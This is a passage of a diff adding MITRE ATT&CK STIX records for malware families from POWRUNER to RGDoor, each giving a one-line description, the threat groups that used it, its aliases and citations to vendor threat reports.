"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0184", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0184" + }, + { + "description": "(Citation: FireEye APT34 Dec 2017)", + "source_name": "POWRUNER" + }, + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ] + }, + { + "name": "PUNCHBUGGY", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "id": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PUNCHBUGGY", + "ShellTea" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-06-28T20:48:52.186Z", + "external_references": [ + { + "external_id": "S0196", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0196" + }, + { + "description": "(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "source_name": "PUNCHBUGGY" + }, + { + "description": "(Citation: Morphisec ShellTea June 2019)", + "source_name": "ShellTea" + }, + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + }, + { + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "source_name": "FireEye Fin8 May 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ] + }, + { + "name": "PUNCHTRACK", + "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) is non-persistent point of sale (POS) system malware utilized by [FIN8](https://attack.mitre.org/groups/G0061) to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PUNCHTRACK", + "PSVC" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0197", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0197" + }, + { + "description": "(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "source_name": "PUNCHTRACK" + }, + { + "description": "(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "source_name": "PSVC" + }, + { + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "source_name": "FireEye Fin8 May 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ] + }, + { + "name": "Pasam", + "description": "[Pasam](https://attack.mitre.org/software/S0208) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Pasam" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0208", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0208" + }, + { + "description": "(Citation: Symantec Pasam May 2012)", + "source_name": "Pasam" + }, + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "source_name": "Symantec Pasam May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ] + }, + { + "name": "PinchDuke", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2008 to 2010. (Citation: F-Secure The Dukes)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PinchDuke" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "created": "2017-05-31T21:32:35.780Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0048", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0048" + }, + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ] + }, + { + "name": "Pisloader", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://attack.mitre.org/groups/G0026) and is similar to another malware family, [HTTPBrowser](https://attack.mitre.org/software/S0070), that has been used by the group. (Citation: Palo Alto DNS Requests)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Pisloader" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "created": "2017-05-31T21:33:12.388Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0124", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0124" + }, + { + "description": "(Citation: Palo Alto DNS Requests)", + "source_name": "Pisloader" + }, + { + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "source_name": "Palo Alto DNS Requests", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ] + }, + { + "name": "PlugX", + "description": "[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) that uses modular plugins. It has been used by multiple threat groups. (Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)", + "id": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PlugX", + "DestroyRAT", + "Sogu", + "Kaba", + "Korplug" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:15.638Z", + "modified": "2019-04-19T15:08:15.613Z", + "external_references": [ + { + "external_id": "S0013", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0013" + }, + { + "description": "(Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013)", + "source_name": "PlugX" + }, + { + "description": "(Citation: CIRCL PlugX March 2013)", + "source_name": "DestroyRAT" + }, + { + "description": "(Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013)", + "source_name": "Sogu" + }, + { + "description": "(Citation: FireEye Clandestine Fox Part 2)", + "source_name": "Kaba" + }, + { + "description": "(Citation: Lastline PlugX Analysis)(Citation: CIRCL PlugX March 2013)", + "source_name": "Korplug" + }, + { + "source_name": "Lastline PlugX Analysis", + "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.", + "url": "http://labs.lastline.com/an-analysis-of-plugx" + }, + { + "source_name": "FireEye Clandestine Fox Part 2", + "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html" + }, + { + "source_name": "New DragonOK", + "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.", + "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ] + }, + { + "name": "PoisonIvy", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)", + "id": "malware--b42378e0-f147-496f-992a-26a49705395b", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PoisonIvy", + "Poison Ivy", + "Darkmoon" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Darren Spruell" + ], + "created": "2017-05-31T21:32:15.263Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0012", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0012" + }, + { + "description": "(Citation: FireEye Poison Ivy) (Citation: Symantec Darkmoon Sept 2014)", + "source_name": "PoisonIvy" + }, + { + "description": "(Citation: FireEye Poison Ivy) (Citation: Symantec Darkmoon Sept 2014)", + "source_name": "Poison Ivy" + }, + { + "description": "(Citation: Symantec Darkmoon Sept 2014)", + "source_name": "Darkmoon" + }, + { + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", + "source_name": "FireEye Poison Ivy", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + }, + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + }, + { + "description": "Payet, L. (2014, September 19). Life on Mars: How attackers took advantage of hope for alien existance in new Darkmoon campaign. Retrieved September 13, 2018.", + "source_name": "Symantec Darkmoon Sept 2014", + "url": "https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign" + } + ], + "labels": [ + "malware" + ] + }, + { + "name": "Power Loader", + "description": "[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Power Loader", + "Win32/Agent.UAW" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0177", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0177" + }, + { + "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", + "source_name": "MalwareTech Power Loader Aug 2013", + "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html" + }, + { + "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", + "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013", + "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" + } + ] + }, + { + "name": "PowerDuke", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)", + "id": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PowerDuke" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:33:19.746Z", + "modified": "2019-04-22T22:31:38.093Z", + "external_references": [ + { + "external_id": "S0139", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0139" + }, + { + "description": "(Citation: Volexity PowerDuke November 2016)", + "source_name": "PowerDuke" + }, + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ] + }, + { + "name": "PowerStallion", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1086) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)", + "id": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "PowerStallion" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-06-21T17:23:27.855Z", + "modified": "2019-07-14T21:02:01.124Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0393", + "url": "https://attack.mitre.org/software/S0393" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ] + }, + { + "name": "Prikormka", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)", + "id": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Prikormka" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:33:07.943Z", + "modified": "2019-07-26T20:45:13.639Z", + "external_references": [ + { + "external_id": "S0113", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0113" + }, + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ] + }, + { + "name": "Proton", + "description": "[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access (Citation: objsee mac malware 2017).", + "id": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Proton" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-06-24T19:03:52.505Z", + "external_references": [ + { + "external_id": "S0279", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0279" + }, + { + "description": "(Citation: objsee mac malware 2017).", + "source_name": "Proton" + }, + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "name": "Proxysvc", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)", + "id": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "external_references": [ + { + "external_id": "S0238", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0238" + }, + { + "description": "(Citation: McAfee GhostSecret)", + "source_name": "Proxysvc" + }, + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Proxysvc" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Edward Millington" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-04-22T22:40:40.953Z", + "labels": [ + "malware" + ] + }, + { + "name": "Psylo", + "description": "[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Psylo" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "created": "2017-05-31T21:32:53.268Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0078", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0078" + }, + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ] + }, + { + "name": "Pteranodon", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). (Citation: Palo Alto Gamaredon Feb 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Pteranodon" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "created": "2017-05-31T21:33:26.084Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0147", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0147" + }, + { + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ] + }, + { + "name": "QUADAGENT", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: Unit 42 QUADAGENT July 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "QUADAGENT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0269", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0269" + }, + { + "description": "(Citation: Unit 42 QUADAGENT July 2018)", + "source_name": "QUADAGENT" + }, + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ] + }, + { + "name": "RARSTONE", + "description": "[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RARSTONE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--8c553311-0baa-4146-997a-f79acef3d831", + "created": "2017-05-31T21:32:38.480Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0055", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0055" + }, + { + "description": "Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.", + "source_name": "Aquino RARSTONE", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" + } + ] + }, + { + "name": "RATANKBA", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)", + "id": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RATANKBA" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-05-03T16:54:32.964Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0241", + "url": "https://attack.mitre.org/software/S0241" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + }, + { + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + } + ] + }, + { + "name": "RDFSNIFFER", + "description": "[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)", + "id": "malware--065196de-d7e8-4888-acfb-b2134022ba1b", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "RDFSNIFFER" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-10-11T16:13:19.588Z", + "modified": "2019-10-16T15:34:22.990Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0416", + "url": "https://attack.mitre.org/software/S0416" + }, + { + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "source_name": "FireEye FIN7 Oct 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + } + ] + }, + { + "name": "RGDoor", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) 